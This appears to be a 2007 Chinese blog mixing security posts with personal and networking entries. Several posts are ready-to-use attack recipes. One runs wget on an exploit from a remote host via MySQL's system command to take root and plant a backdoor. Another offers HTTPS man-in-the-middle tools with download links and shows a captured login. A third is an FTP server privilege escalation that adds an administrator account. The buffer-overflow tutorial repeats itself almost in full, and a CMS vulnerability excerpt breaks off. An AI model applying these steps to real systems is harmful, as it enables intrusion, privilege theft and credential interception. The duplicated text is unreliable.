在这里强调一下,想完全看的懂这篇文章,至少需要具备一定的汇编语言,C语言和LINUX的基础。
  缓冲区溢出”在英文中可以解释为:buffer overflow,buffer overrun,smash the
  stack,trash the stack,scribble the stack, mangle the stack, memory
  leak,overrun screw;
  我们通常所说的“溢出”指的是缓冲区溢出,(废话,不然要从那里溢出呀!)先解释一下什么是缓冲区——缓冲区是内存中存放数据的地方,是程序运行时计算机内存中的一个连续的块,它保存了给定类型的数据。问题随着动态分配变量而出现。为了不用太多的内存,一个有动态分配变量的程序在程序运行时才决定给他们分配多少内存。当程序试图将数据放到计算机内存中的某一位置,但没有足够空间时会发生缓冲区溢出。另一种说法,就是说程序在动态分配缓冲区放入太多的数据会有什么现象?它会溢出,会漏到了别的地方。
  一个缓冲区溢出应用程序使用这个溢出的数据将汇编语言代码放到计算机的内存中,通常是产生root权限的地方。单单的缓冲区溢出,并不会产生安全问题。只有将溢出送到能够以root权限运行命令的区域才行。这样,一个缓冲区利用程序将能运行的指令放在了有root权限的内存中,从而一旦运行这些指令,就是以root权限控制了计算机。
  所以我们更多的时候把缓冲区溢出指的是一种系统攻击的手段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。
  世界上第一个缓冲区溢出攻击——著名的Morris蠕虫,发生在十年前,它曾造成了全世界6000多台网络服务器瘫痪。我这是我所知的最早的缓冲区溢出攻击程序。
  记住,造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数!!!
  下面举一个最为常见的,也是最简单的溢出。
  void function(char *str){
  char buffer[16];
  strcpy(buffer,str);
  }
  在这个例子中上面的buffer的长度被限制在16,而strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。So,我们说这个程序溢出了。
  在C语言中,静态变量是分配在数据段中的,动态变量是分配在堆栈段的。缓冲区溢出是利用堆栈段的溢出的。一个正常的程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程序的机器码和只读数据,这个段通常是只读,对它的写操作是非法的。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位置如下:
  /――――――――内存低端
  程序段
  ―――――――――
  数据段
  ―――――――――
  堆栈
  ―――――――――/内存高端
  堆栈是内存中的一个连续的块。一个叫堆栈指针的寄存器(SP)指向堆栈的栈顶。堆栈的底部是一个固定地址。堆栈有一个特点就是,后进先出。也就是说,后放入的数据第一个取出。它支持两个操作,PUSH和POP。PUSH是将数据放到栈的顶端,POP是将栈顶的数据取出。
  在高级语言中,程序函数调用和函数中的临时变量都用到堆栈。为什么呢?因为在调用一个函数时,我们需要对当前的操作进行保护,也为了函数执行后,程序可以正确的找到地方继续执行,所以参数的传递和返回值也用到了堆栈。通常对局部变量的引用是通过给出它们对SP的偏移量来实现的。另外还有一个基址指针(FP,在Intel芯片中是BP),许多编译器实际上是用它来引用本地变量和参数的。通常,参数的相对FP的偏移是正的,局部变量是负的。
  当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后保存指令寄存器(IP)中的内容,做为返回地址(RET);第三个放入堆栈的是基址寄存器(FP);然后把当前的栈指针(SP)拷贝到FP,做为新的基地址;最后为本地变量留出一定空间,把SP减去适当的数值。
  比如说下面这个程序:
  void function(int a, int b, int c){
  char buffer1[10];
  char buffer2[15];
  }
  void main(){
  function(1,2,3);
  }
  假设我们在Linux下,用gcc对这段源码进行编译,产生汇编代码输出:
  $ gcc -S -o example1.s example1.c
  看看输出文件中调用函数的那部分:
  pushl $3
  pushl $2
  pushl $1
  call function

这就将3个参数推入堆栈里了,并调用function()。指令call会将指令指针IP压入堆栈。在返回时,RET要用到这个保存的IP。在函数中,第一要做的事是进行一些必要的处理。每个函数都必须有这些过程(为了保护呀,不然就找不到了。):
  pushl %ebp
  movl %esp,%ebp
  subl $20,%esp
  这几条指令将EBP,基址指针放入堆栈。然后将当前SP拷贝到EBP。然后,为本地变量分配空间,并将它们的大小从SP里减掉。由于内存分配是以字为单位的,因此,这里的buffer1用了8字节(2个字,一个字4字节)。Buffer2用了12字节(3个字)。所以这里将ESP减了20。这样,现在,堆栈看起来应该是这样的。
  低端内存 高端内存
  buffer2 buffer1 sfp ret a b c
  < ------ [ ] [ ] [ ] [ ] [ ] [ ] [ ]   栈顶 栈底   那是什么导致了溢出呢?缓冲区溢出就是在一个缓冲区里写入过多的数据。要怎么样利用呢?看下面这个程序:   void function(char *str) {   char buffer[16];   strcpy(buffer,str);   }   void main() {   char large_string[256];   int i;   for( i = 0; i < 255; i++)   large_string[i] = 'A';   function(large_string);   }   ||||||这个程序是一个经典的缓冲区溢出编码错误。函数将一个字符串不经过边界检查,拷贝到另一内存区域。当调用函数function()时,堆栈如下:   低内存端 高内存端   buffer sfp ret *str   < ------ [ ] [ ] [ ] [ ]   栈顶 栈底   很明显,程序执行的结果是"Segmentation fault (core   dumped)"或类似的出错信息。因为从buffer开始的256个字节都将被*str的内容'A'覆盖,包括sfp,   ret,甚至*str。'A'的十六进值为0x41,所以函数的返回地址变成了0x41414141,   这超出了程序的地址空间,所以出现段错误。可见,缓冲区溢出允许我们改变一个函数的返回地址,在这个例子中,我们可以通过修改0x41414141来改变程序返回后的入口地址。同样通过这种方式,就可以改变程序的执行顺序了。   存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的getc(),fgetc(),getchar()等。   缓冲区溢出技术基础   为了提高大家的技术水平,为了更了解我们讨论的这种技术,为了把这个论坛建成一个更更好的论坛,下面我为大家推出一系列完整的有关溢出,溢出攻击的文章。让大家更能了解到这个天天说但又不太清楚怎么回事的东西。我想,看了这个以后大家也不再会问,为什么我用了这个工具,怎么没有用呀什么的问题?   在这里强调一下,想完全看的懂这篇文章,至少需要具备一定的汇编语言,C语言和LINUX的基础。   缓冲区溢出”在英文中可以解释为:buffer overflow,buffer overrun,smash the   stack,trash the stack,scribble the stack, mangle the stack, memory   leak,overrun screw;   我们通常所说的“溢出”指的是缓冲区溢出,(废话,不然要从那里溢出呀!)先解释一下什么是缓冲区——缓冲区是内存中存放数据的地方,是程序运行时计算机内存中的一个连续的块,它保存了给定类型的数据。问题随着动态分配变量而出现。为了不用太多的内存,一个有动态分配变量的程序在程序运行时才决定给他们分配多少内存。当程序试图将数据放到计算机内存中的某一位置,但没有足够空间时会发生缓冲区溢出。另一种说法,就是说程序在动态分配缓冲区放入太多的数据会有什么现象?它会溢出,会漏到了别的地方。   一个缓冲区溢出应用程序使用这个溢出的数据将汇编语言代码放到计算机的内存中,通常是产生root权限的地方。单单的缓冲区溢出,并不会产生安全问题。只有将溢出送到能够以root权限运行命令的区域才行。这样,一个缓冲区利用程序将能运行的指令放在了有root权限的内存中,从而一旦运行这些指令,就是以root权限控制了计算机。   所以我们更多的时候把缓冲区溢出指的是一种系统攻击的手段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。   世界上第一个缓冲区溢出攻击——著名的Morris蠕虫,发生在十年前,它曾造成了全世界6000多台网络服务器瘫痪。我这是我所知的最早的缓冲区溢出攻击程序。   记住,造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数!!!   下面举一个最为常见的,也是最简单的溢出。   void function(char *str){   char buffer[16];   strcpy(buffer,str);   } 在这个例子中上面的buffer的长度被限制在16,而strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。So,我们说这个程序溢出了。   在C语言中,静态变量是分配在数据段中的,动态变量是分配在堆栈段的。缓冲区溢出是利用堆栈段的溢出的。一个正常的程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程序的机器码和只读数据,这个段通常是只读,对它的写操作是非法的。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位置如下:   /――――――――内存低端   程序段   ―――――――――   数据段   ―――――――――   堆栈   ―――――――――/内存高端   堆栈是内存中的一个连续的块。一个叫堆栈指针的寄存器(SP)指向堆栈的栈顶。堆栈的底部是一个固定地址。堆栈有一个特点就是,后进先出。也就是说,后放入的数据第一个取出。它支持两个操作,PUSH和POP。PUSH是将数据放到栈的顶端,POP是将栈顶的数据取出。   在高级语言中,程序函数调用和函数中的临时变量都用到堆栈。为什么呢?因为在调用一个函数时,我们需要对当前的操作进行保护,也为了函数执行后,程序可以正确的找到地方继续执行,所以参数的传递和返回值也用到了堆栈。通常对局部变量的引用是通过给出它们对SP的偏移量来实现的。另外还有一个基址指针(FP,在Intel芯片中是BP),许多编译器实际上是用它来引用本地变量和参数的。通常,参数的相对FP的偏移是正的,局部变量是负的。   当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后保存指令寄存器(IP)中的内容,做为返回地址(RET);第三个放入堆栈的是基址寄存器(FP);然后把当前的栈指针(SP)拷贝到FP,做为新的基地址;最后为本地变量留出一定空间,把SP减去适当的数值。   比如说下面这个程序:   void function(int a, int b, int c){   char buffer1[10];   char buffer2[15];   }   void main(){   function(1,2,3);   }   假设我们在Linux下,用gcc对这段源码进行编译,产生汇编代码输出:   $ gcc -S -o example1.s example1.c   看看输出文件中调用函数的那部分:   pushl $3   pushl $2   pushl $1   call function   这就将3个参数推入堆栈里了,并调用function()。指令call会将指令指针IP压入堆栈。在返回时,RET要用到这个保存的IP。在函数中,第一要做的事是进行一些必要的处理。每个函数都必须有这些过程(为了保护呀,不然就找不到了。):   pushl %ebp   movl %esp,%ebp   subl $20,%esp   这几条指令将EBP,基址指针放入堆栈。然后将当前SP拷贝到EBP。然后,为本地变量分配空间,并将它们的大小从SP里减掉。由于内存分配是以字为单位的,因此,这里的buffer1用了8字节(2个字,一个字4字节)。Buffer2用了12字节(3个字)。所以这里将ESP减了20。这样,现在,堆栈看起来应该是这样的。   低端内存 高端内存 buffer2 buffer1 sfp ret a b c   < ------ [ ] [ ] [ ] [ ] [ ] [ ] [ ]   栈顶 栈底   那是什么导致了溢出呢?缓冲区溢出就是在一个缓冲区里写入过多的数据。要怎么样利用呢?看下面这个程序:   void function(char *str) {   char buffer[16];   strcpy(buffer,str);   }   void main() {   char large_string[256];   int i;   for( i = 0; i < 255; i++)   large_string[i] = 'A';   function(large_string);   }   这个程序是一个经典的缓冲区溢出编码错误。函数将一个字符串不经过边界检查,拷贝到另一内存区域。当调用函数function()时,堆栈如下:   低内存端 高内存端   buffer sfp ret *str   < ------ [ ] [ ] [ ] [ ]   栈顶 栈底   很明显,程序执行的结果是"Segmentation fault (core   dumped)"或类似的出错信息。因为从buffer开始的256个字节都将被*str的内容'A'覆盖,包括sfp,   ret,甚至*str。'A'的十六进值为0x41,所以函数的返回地址变成了0x41414141,   这超出了程序的地址空间,所以出现段错误。可见,缓冲区溢出允许我们改变一个函数的返回地址,在这个例子中,我们可以通过修改0x41414141来改变程序返回后的入口地址。同样通过这种方式,就可以改变程序的执行顺序了。   存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的getc(),fgetc(),getchar()等。

九月 30th, 2007

Posted In: 未分类

据比利时媒体日前报道,荷兰银行的发言人说,前段时间有部分客户账号中的资金被网络犯罪分子利用电脑病毒盗走,这些客户的损失将得到银行的补偿,但是银行方面并没有透露被盗账户和资金的具体情况。

  反病毒公司卡巴斯基的专家认为,黑客可能使用电脑病毒通过“视窗”操作系统的缺陷进入上网者的电脑系统,然后窥伺他们的网上行为,了解到其所在的银行。

  接着,黑客欺骗上网者和银行系统进行错误操作,将上网者银行账户中的钱转给黑客。

  卡巴斯基公司的罗埃尔·舒温伯格说,他们只发现黑客使用这种病毒攻击了荷兰银行。他警告说,其他任何一个网上银行都还有遭到攻击的可能,因此各银行应当采取必要的措施,避免类似情况再次发生。

九月 30th, 2007

Posted In: 未分类

mysql5.x for linux下面有一个函数,可以帮助我们干很多事情,这个函数4。x下面貌似没,原来一直没发现,也没去查函数手册,就我自己的经验来写点东西。4,x的明天再看看函数手册,再装一个实验一下。

mysql 5.x里面引入了一个system函数,这个函数可以执行系统命令,当mysql以root登陆的时候,就可以利用这个函数执行命令,当然是在权限许可的范围内。

一般我们按照常规思路,搞到mysql的root密码之后,我们都会连接上去,创建一个表,然后outfile,搞到一个webshell ,然后提权如此这般。今天我们换一种方式。

按照上面的方法,我们需要知道web的绝对路径,当然这个很不好找,有些有sqlinjection的,可能报错会显示出来,有的就不一定了。但是按照我的的方法,没有必要再去找web路径了,直接执行

mysql>system vi /etc/httpd/conf/httpd.conf;

直接这样就可以找到web的路径,当然,我们的目的并不是找web路径,放webshell进去。我们是要来做其他的事情,比如,下载exp执行,搞到root权限,然后装后门虾米的

mysql>system wget http://xxxx.xxx.com/xxxx ;

mysql>system chmod +x xxxx;

mysql>system ./xxxx;

这样mysql的root此时就成为system的root了,剩下的事情,如果开了ssh,就ssh上去,输入mysql的用户密码,ok,搞定。

九月 30th, 2007

Posted In: 未分类

先说说伪造证书的方法。首先使用openssl来生成一个证书,我这里生成了一个example.crt和example.key两个,保护密码为 1234。然后连接到真实的HTTPS服务器,获取真正的证书。再对开始伪造的证书进行修改,将伪造证书的几个字段改成和真实服务器的一样,增加迷惑性。

这个程序也包含在下面了,代码很短,可以自己看看,我不多描述了,主要用了X509_set_version, X509_set_serialNumber,X509_set_subject_name和X509_set_issuer_name等4个API修改的。不过比较郁闷的是windows下面编译的openssl竟然有点小问题,X509_NAME这个结构体是undefined的,写代码的时候想办法避开就好了。这样做出来的证书,开起来和真实的一样,不过公钥不同,因为如果公钥也用真是服务器的,我们没私钥那么中间人就白做了。

现在要说的就是怎么做中间人攻击了,对于一般的站点,会同时具备HTTP和HTTPS两种,所以需要在中间人的机器上监听tcp 80和tcp443,然后对数据进行转发。这一部分没什么难的,就是程序写得比较乱。本来forward等几个文件的函数可以合并到一起的,去年我就是这么做的,但是结果bug非常多。这几天突然想起对HTTPS的攻击,就把代码翻出来重写了。代码变长了很多,但是效果好了很多。唯一遗憾的是,貌似对 firefox无效,不知道为什么,需要进一步分析。

我对自己登录xfocus的论坛过程做过测试,密码什么的还是能抓到的,gmail我也测试过,基本没太大的问题。附件里面是代码,编译好的程序和我的测试证书也在,不说了,代码描述吧(代码非常乱,嘿嘿)……

攻击的时候可以这样:
代码:

D:ProjectsHttpsMiMRelease>MakeCert.exe 125.208.7.30
write fake cert to 125.208.7.30.crt, use this to do the mim attack!

D:ProjectsHttpsMiMRelease>HttpsMim.exe 125.208.7.30 125.208.7.30.crt

POST /bbs/index.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shoc
wave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, applicatio
/msword, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms
xbap, application/x-ms-application, */*
Referer: https://www.xfocus.net/bbs/index.php?act=Login&do=00
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.
.50727; .NET CLR 3.0.04506.30)
Host: www.xfocus.net
Content-Length: 90
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=033eebeaf4af7c73243ff3901c70f292

act=Login&do=01&UserName=ph4_yunshu&PassWord=wrongpassword&submit=%CE%D2%D2%AA%
5%C7%C2%BDssl2 recv err error:00000000:lib(0):func(0):reason(0)
GET /images/title.gif HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.
.50727; .NET CLR 3.0.04506.30)
Host: www.xfocus.net
Connection: Keep-Alive
Cookie: PHPSESSID=033eebeaf4af7c73243ff3901c70f292

代码下载:
http://www.icylife.net/pic/httpsmim/MakeCert.zip
http://www.icylife.net/pic/httpsmim/HttpsMim.zip

九月 30th, 2007

Posted In: 未分类

在网上看到一个黑客游戏,虽然只有八关,可是前面的都没有创意,后面一关蛮有意思的,俺编程不好,没解出来,现在写下攻略
http://www.rednetcn.com/hackgame/
第一关[code]

[/code]
很明显twww.htm就是地址了,如果有人问密码是多少,当然是if (htm=="就不告诉你这个是密码")这个就是了,很多人就是因为“就是不告诉你密码”这个给骗了,可没有看到这个值是给htm做对比的
第二关

var words ="%3Cscript%20language%3D%22JavaScript%22%3E%0D%0Afunction%20CheckPassword%28%29%0D%0A%7B%0D%0A%09if%28document.all.password.value%20%3D%3D%20%22Red-NetCn.Com%22%29%0D%0A%09window.open%28%22two-four.htm%22%2C%22surveywin%22%2C%22toolbar%3Dno%2Clocation%3Dno%2Cdirectories%3Dno%2Cstatus%3Dno%2Cmenubar%3Dno%2Cscrollbars%3Dno%2Cresizable%3Dno%2Cwidth%3D610%2Cheight%3D400%2Cstatus%3Dyes%2Cresizable%3Dyes%22%29%3B%09%0D%0A%09else%0D%0A%09%09window.alert%28%22%u62B1%u6B49%uFF0C%u4F60%u8F93%u5165%u7684%u5BC6%u7801%u4E0D%u6B63%u786E%uFF01%22%29%3B%0D%0A%7D%0D%0A%3C/script%3E" //中国红色安全网络 there

这里大家可以看到是加密的
解密以后是什么[code]var words ="" //中国红色安全网络 there [/code]
看到了什么,密码当然是value 的值了,然后windows.open就是IE自动加开two-four.htm这个页面了
第三关,打开后出现两个加密的
[code][/code]
解密以后
[code]"
newwords = name+pass;
document.write(unescape(newwords));
}
outword();
// -->
[/code]
这里就留心window.alert("抱歉,你输入的密码不正确!");//enor.html
正常的情况下是不会给你说错误页面而是直接跳过去的,可现在备注的是enor.html也不是error.html
所以就是他了
第四到第五,打开后看到该页无法显示,可是示题是无法找到第五关,可以肯定这是一个自己做出来的错误页面
查看源文件

当然这段比较奇怪,下载CSS却看到[code]}
.tdbg2{
background:#E0EEF5;
line-height: 120%;
/*p a g e . h t m l*/
}[/code]
所以过关地址就是page.html了
第六关又是老话题,查看没有任何的变化,没有CSS可查也没有JS可查,可整个页面里面没有几个html
突然想到以前玩这种游戏的时候

有人把text/html写为地址当然就是text.html了,试下,运气太好成功了
直到第八关
看了N半天,

#@~^dAAAAA==@#@&@!Z O@#@&@#@&0!UmDkGx,?zhADDK.`*@#@&P@#@&P,DY;DU~DD;+p@#@&)@#@&@#@&hkU[Kh W nMDGMP{P?H:A.DKDI@#@&@#@&&JOO@*@#@&fxkAAA==^#~@

#@~^2QAAAA==@#@&@#@&@#@&@#@&0!x1OkKx~nm/d/Kx0b.:v#PP@#@&@#@&mD~tOh{NGm!h+ Y 2m//AGMN wmdkR-mV!+@#@&@#@&r0,`4Ys'xEr#PP@#@&@#@&hbU[WSRKwnxcED.WM tD:Eb,8@#@&@#@&+s/~P@#@&@#@&@#@&hbx9GhcW2+ `EnMDWM tD:JBEm/V6JbPN@#@&@#@&@#@&N@#@&XTQAAA==^#~@

这两段解密没有任何作用
[code]

[/code]
[code]

function PassConfirm() {

var htm=document.password.pass.value

if (htm=="") {

window.open("error.htm") }

else {

window.open("error.htm","_self") }

}
[/code]
没有什么用,看到logo好像和第一个页面不一样


logo不一样了吗,下载logo打开,看文件头和文件尾没有发现任何东西,然后ctrf+f找html没有,在找htm找到了
allover.htm,原来作者是用一个图片加一个.txt在加上一个图片三个copy++的办法合成一个图片,所以.txt的文件就跑到了中间
然后打开allover.htm又是两段加密

#@~^1gAAAA==@#@&@!Z O@#@&@#@&0!UmDkGx,?zhADDK.`*@#@&P@#@&P,DY;DU~DD;+p@#@&)@#@&@#@&hkU[Kh W nMDGMP{P?H:A.DKDI@#@&b..mXP]%OyT'r2Y y]22Y!9YZbY ZY Z]+Tu !Y+Z]+!u+Z]+Z]y!]y!u;vyFq]!%108]EFX*O]EW3TAuEl,+GY;lcTfu+!u!E@#@&zzRR@*@#@&QC8AAA==^#~@

#@~^AAMAAA==@#@&@#@&@#@&@#@&0!x1OkKx~nm/d/Kx0b.:v#PP@#@&@#@&mD~tOh{NGm!h+ Y 2m//AGMN wmdkR-mV!+@#@&@#@&r0,`4Ys'xEr#PP@#@&@#@&hbU[WSRKwnxcED.WM tD:Eb,8@#@&@#@&+s/~P@#@&@#@&@#@&hbx9GhcW2+ `EnMDWM tD:JBEm/V6JbPN@#@&@#@&@#@&N@#@&@#@&-mDPzmD.' nSP)MDmX`N#p@#@&zD.lH$%D,'PrY!z] ZY+!u Z]+!Y+Z]+!u+!u TYy!]+Tu&/k 2!YYy!DXw]29]y dE(:rOu u+! l:Yffu y?;4hrD]+ u+!7ls;]&9Yy 6|u+y]fA]Zf]Zbu+!u T]y!Y+Z] ZY Z] ZY+!u&;zWW.hu&3J@#@&bMDCz,$LRqY'EfuTz]+Z]y!]y!u+!u T]y!Y+Z] ZY Z] ZYfZbxaEO]+T lh+uffu +;k+DUCs+Y yYy!OHw]&G]y+Y6O]y Y+Z/k.n]2f]y+qvu y]+!hCXVnxTOtu&9Yy F+Yy Y&AYZfE@#@&zDDmX,,L *D'rJ@#@&zDDmzP]LO2DxJkYu +]+TmmOkKU]2fY+yxlhncldJ@#@&zD.mX,$L vYxJr@#@&0KD~cb'Fpr@!tXlM. VxTY4irQ3#`@#@&)DMlz,NT').Mlz$ND3b.MlH$L kYI8@#@&[W1Ehn YRS.kD+`!Un/1la+cb..mX,!Yb#p8~@#@&WEOAKD[`*I@#@&KsUAAA==^#~@

解密以后是[code]




~~之许愿神灵

:::神秘占卜:::



在你的心目中,

占据着最重要的位置,你对

的感觉用

这首歌来形容再好不过了。你相信这是上天安排的缘分,因为你深深的爱着

。 对于

,也许是宿命吧,虽然你也喜欢

,但是你们注定不可能在一起,就象

中唱的一样。


是最关心你的人,而

是最了解你的人,你们两个在一起会彼此有知己的感觉。

是你的幸运星,也许会给你带来好运气的哦~!~!~!


这首歌最能代表你现在的想法

这首歌代表你对生活的感受。 把本页推荐给你的

个朋友,你的愿望—
[/html]

九月 24th, 2007

Posted In: 未分类

今天一朋友突然问我VDSL和ADSL的区别,那个更快,上行和下行的速度,俺就网上找了点资料看,因为以前对这个不是很了解,当然我不能说错,所以就对ADSL和VDSL做一下说明
现在使用的最多的宽带方式是ADSL,但是由于ADSL自身的限制以及其他一些原因,目前的宽带速度普遍得不到用户的认可,对于宽带使用速度的投诉也逐渐多了起来。

那么ADSL身上为什么会发生这么多的问题,被称为ADSL“接班人”的VDSL有什么特点,今后的发展趋势将会如何呢?

ASDL(不对称数字用户线路)和VDSL(甚高比特率数字用户线路),都是XDSL系列的重要组成部分。XDSL还包括(速率适应数字用户线R-ADSL、IDSL即是ISDN DSL,高速数字用户线HDSL、单线用户数字线SDSL)几个不同种类的方式。

ADSL的“接班人”:VDSL速度将更快

ADSL技术是非对称的。是目前我国宽带接入方式的主流。在使用中,ADSL线路从中央办公室到用户的下行带宽要比从用户到中央办公室的上行带宽大,这就是非对称的含义。在下行链路中,ADSL支持的速度从 1.5到8Mbps不等;上行链路的速率在640Kbps到1.54 Mbps之间。

VDSL技术是xDSL技术中最快的一种。下行数据的速率为13和15Mbps,理论上可达到55.2Mbps;上行数据的速率为1.5到2.3Mbps。最高可达19.2Mbps。

VDSL采用了先进的调制技术,即上行和下行使用不同的频率范围。通常下行速度有0.9-3.4MHz;上行速度有4.0-7.75MHz。由于VDSL提供了更大的带宽,所以可以满足更多的业务需求,包括传送高保真音乐和高清晰度电视、多通道纯MPEG2信息流,是真正的全业务接入手段。另外,VDSL的速率与以太网速率(10Mbit/s)非常接近,完全可以作为以太网的延伸,构成网络节点之间距离在1公里以上的“大以太网”。有理由相信,VDSL的应用前景是非常光明的,会成为DSL技术发展的又一亮点。VDSL可以成为光纤到家庭的具有高性价比的替代方案。但VDSL的传输速度要视实际的距离而定,当传输距离在300米以内时,才有可能达到50Mb/s左右的高速传输,如果机户到客户端的传输距离是1.5公里的极限值,那么大约就剩下12.9Mb/s左右的传输速率而已,但是这仍然是相当快速的传输能力,所以VDSL被视为ADSL惟一可能的“接班人”。

看到这里,您一定很好奇,既然VDSL有这么好的技术、这么好的发展空间,为什么我们要选择ADSL呢?其实最主要的依据仍是“距离”与“速度”的问题,此外,再加上经济因素的考虑,ADSL就成了目前能兼顾距离、速度与经济效益的最佳选择。再者从下面的分析你还可以了解到更多。

ADSL与VDSL的融合:xDSL将更稳定

在成熟性方面,随着新一代ADSL技术标准的推出,在广大ADSL芯片和设备厂商的推动下,预计在2004年第一季度主流ADSL芯片商将陆续推出完全支持ADSL2、ADSL2+的芯片,设备商可能会在第二季度推出相应的产品。考虑到芯片的规模生产、设备的互联互通和兼容性问题,估计在2004年年底能实现新一代ADSL技术的真正商用化。

随着业界将VDSL的调制方式定为DMT,对VDSL的调制方式的争论越来越激烈。为了限制VDSL技术的发展,ADSL芯片商都强烈要求将VDSL的调制方式定为DMT,因为目前基于DMT调制的VDSL芯片很不成熟,难以实现设备的商用化。如果业界在2003年底最终将VDSL的调制方式定为了DMT,那么VDSL芯片估计还有一年多才能成熟,之后还需要解决设备的互联互通问题。

总的来说,新一代ADSL技术将先于VDSL技术发展成熟,对于普通居民用户,能与第一代ADSL兼容的新一代ADSL技术在未来相当长的时间将具有比VDSL技术更好的发展前景。

在传输速度和接入距离方面,与VDSL技术相比,第一代ADSL技术、ADSL2和ADSL2+技术的不足之处在于上行速率较低,ADSL2、ADSL2+也为此提出了两种解决方案来提高上行速率。其中一种方案是利用G.992.3AnnexJ划分的上行频谱,可以将上行速率提高到2.3Mb/s;方案二是支持多线对速率捆绑,提供更高的上行速率。

从上面的分析可以看出,VDSL技术在短距离高速接入方面仍具有独到的优势,特别适合于对上下行速率要求很高的商业用户。当接入距离超过1.2km时,新一代ADSL技术,特别是ADSL2+技术是最好的选择,而距离超过2.7km时,ADSL2与ADSL2+的性能基本一致。

从长远来看,如果ADSL和VDSL的调制方式实现了统一,则ADSL、VDSL技术将最终走向融合,在同一芯片上支持ADSL和VDSL标准,通过灵活调整频谱权衡带宽和距离,由用户按照需要选择所需的xDSL技术。值得一提的是,一些芯片厂商已开始这方面的考虑,目前已经推出基于QAM调制的VDSL芯片,今年上半年出现了DMT调制的VDSL技术,这样可以实现在同一芯片上支持ADSL、VDSL标准。到最后相信受益的将是我们消费者,但希望入户的价钱能符合大多数人要求。

九月 24th, 2007

Posted In: 未分类

在任意帐户配置文件中添加SiteCommandList0=-1,TQ1,c:a.bat,0,60,0,0,jid

TQ1=命令名

c:a.bat=实际路径

如果没有修改权限,也可以从本地走~~~

以下为本地管理员配置

[Server]
IP=127.0.0.1,8021rn
GrantAllAccessToLocalHost=0
[Acct=chensong]
Enabled=1
Rights=0
Password=58F6E4407FFE8F618CDE3C16FA3360DD

1. 以非特权用户的身份登陆。

2. 打开Gene6 FTP Server控制台,添加FTP用户帐号,如"test"

3. 对FTP server添加新的SITE命令。如果要实现这个操作,你必须将可执行文件映射到新建的SITE命令。详见4和5步。

4. 编写一个名为ABC.bat的.bat文件。

—cut here ————————-
net user abc /add
net localgroup administrators abc /add
—cut here ————————-

5. 将这个ABC.bat映射到新建的SITE命令,如ABC

6. 现在就可以获取SYSTEM权限了。使用test用户登陆到FTP server,然后执行以下命令:
ftp>quote site abc

这样就以SYSTEM权限执行了ABC.bat。

当然,还可以映射任何其他可执行文件。

九月 24th, 2007

Posted In: 未分类

今天真的好想哭,独单了几个月的我好不容易盼来了一个大学同学,以为这样相互就有个照应,可没想到听到同学的遭遇真的很生气可是又好无奈,谁也帮不了谁,工作几天的他辞去了现在的工作,可今天又带着满脸的伤感离开了这个城市,幻想中的城市又只剩下了我一个人,我该何去何从,爸爸中午给我打了半小时的电话,虽然听了我的想法以后也可以感觉到他一脸的无奈,可又能怎么样,大学毕业了就要自己独立生活,永远不可能在爸妈的身边呆一辈子,我也有我自己的梦想,能不能实现只有自己的行动能证明一切,我不知道送同学上了公交车上那一刻的心情是什么,我的心伤针扎了一样,眼也酸了,可我控制自己不要流下泪水,同学也送了我一句话,我们只有相互的祝福,只希望大家都过的很好,虽然我现在是逆水行舟,不进则退,可我觉得现在我已经麻木,都快找不到以前自信的我,也许是“自大吧”,反正我认为是自信,同学也讲过现在的我不是以前认识的我,这几个月我变的太多太多,我只是努力的改变,或许是逃避…….

九月 23rd, 2007

Posted In: 未分类

这个漏洞对于动易网站管理系统来说,就是致命的了。
此漏洞存在于User目录下的User_saveflash.asp文件中,其第6~22行代码如下所示。

Dim act, ObjInstalled_FSO, color_name, Create_1, imgurl, SaveFileName, dirMonth

objName_FSO = Application("objName_FSO")

ObjInstalled_FSO = IsObjInstalled(objName_FSO)

If ObjInstalled_FSO = True Then

Set fso = Server.CreateObject(objName_FSO)

Else

Response.Write "&&SendFlag=保存 >>> NO"

Response.end

End If

act = trim(request("act"))

//这里是关键

If act="" Then

Call Main()

Else

  Call CoverColorFile()

  //如果act不为空,则调用CoverColorFile()函数

End If

set fso = Nothing

下面我们一起来看看函数CoverColorFile()的代码。

Sub CoverColorFile()

//此函数用于生成图像BMP文件

  Dim whichfile, head, Colortxt, i, rline, badwords

  //注意whichfile变量

Response.Expires = -9999

Response.AddHeader "Pragma","no-cache"

Response.AddHeader "cache-ctrol","no-cache"

Response.ContentType = "Image/bmp"

//输出图像文件头

head = ChrB(66) & ChrB(77) & ChrB(118) & ChrB(250) & ChrB(1) & ChrB(0) & ChrB(0) & ChrB(0) &_

ChrB(0) & ChrB(0) & ChrB(54) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(40) & ChrB(0) &_

ChrB(0) & ChrB(0) & ChrB(172) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(130) & ChrB(0) &_

